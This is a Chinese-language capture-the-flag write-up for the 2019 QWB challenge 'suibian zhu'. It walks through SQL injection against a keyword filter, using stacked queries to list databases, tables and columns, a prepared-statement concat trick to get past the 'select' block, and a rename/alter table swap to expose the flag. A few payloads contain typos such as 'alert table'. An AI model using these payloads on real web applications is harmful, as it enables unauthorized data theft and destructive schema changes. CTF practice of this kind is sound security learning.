[强网杯 2019]随便注
程序员文章站
2022-07-15 08:25:48
...
-
1' or 1=1--
,回显了所有用户信息 -
union select 1,2
得到回显
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
过滤了:
select
update
delete
drop
insert
where
继续,由于过滤了select
,尝试堆叠注入:
1';show databases;--
得到:
ctftraining information_schema mysql performance_schema supersqli test
继续:
1';show tables;--
得到:
1919810931114514 words
继续:
1';show columns from words;--
得到:
id data
继续:
1';show columns from `1919810931114514`;--
回显:
flag
NO
flag
应该就是在这里,但是这里回显的应该是words
表里面的,并且后端逻辑应该是:select * from words where id='$id'
所以我们现在要想办法获取 1919810931114514
表里的数据:
1';sel/**/ect flag fr/**/om `1919810931114514`;--
不可
接下来使用预编译:
1';SEt @x=concat('sel','ect ','flag from `1919810931114514`');pREpare s from @x;execute s;--
另外还有一种,利用 rename
和 alter
,
1’;rename table words to word1;rename table 1919810931114514 to words;alter table words add id int unsigned not Null auto_increment primary key; alert table words change flag data varchar(100);#
这种方法是用 rename
将1919810931114514
重命名为 words
,使系统查询到的数据直接变成我们想要的flag
。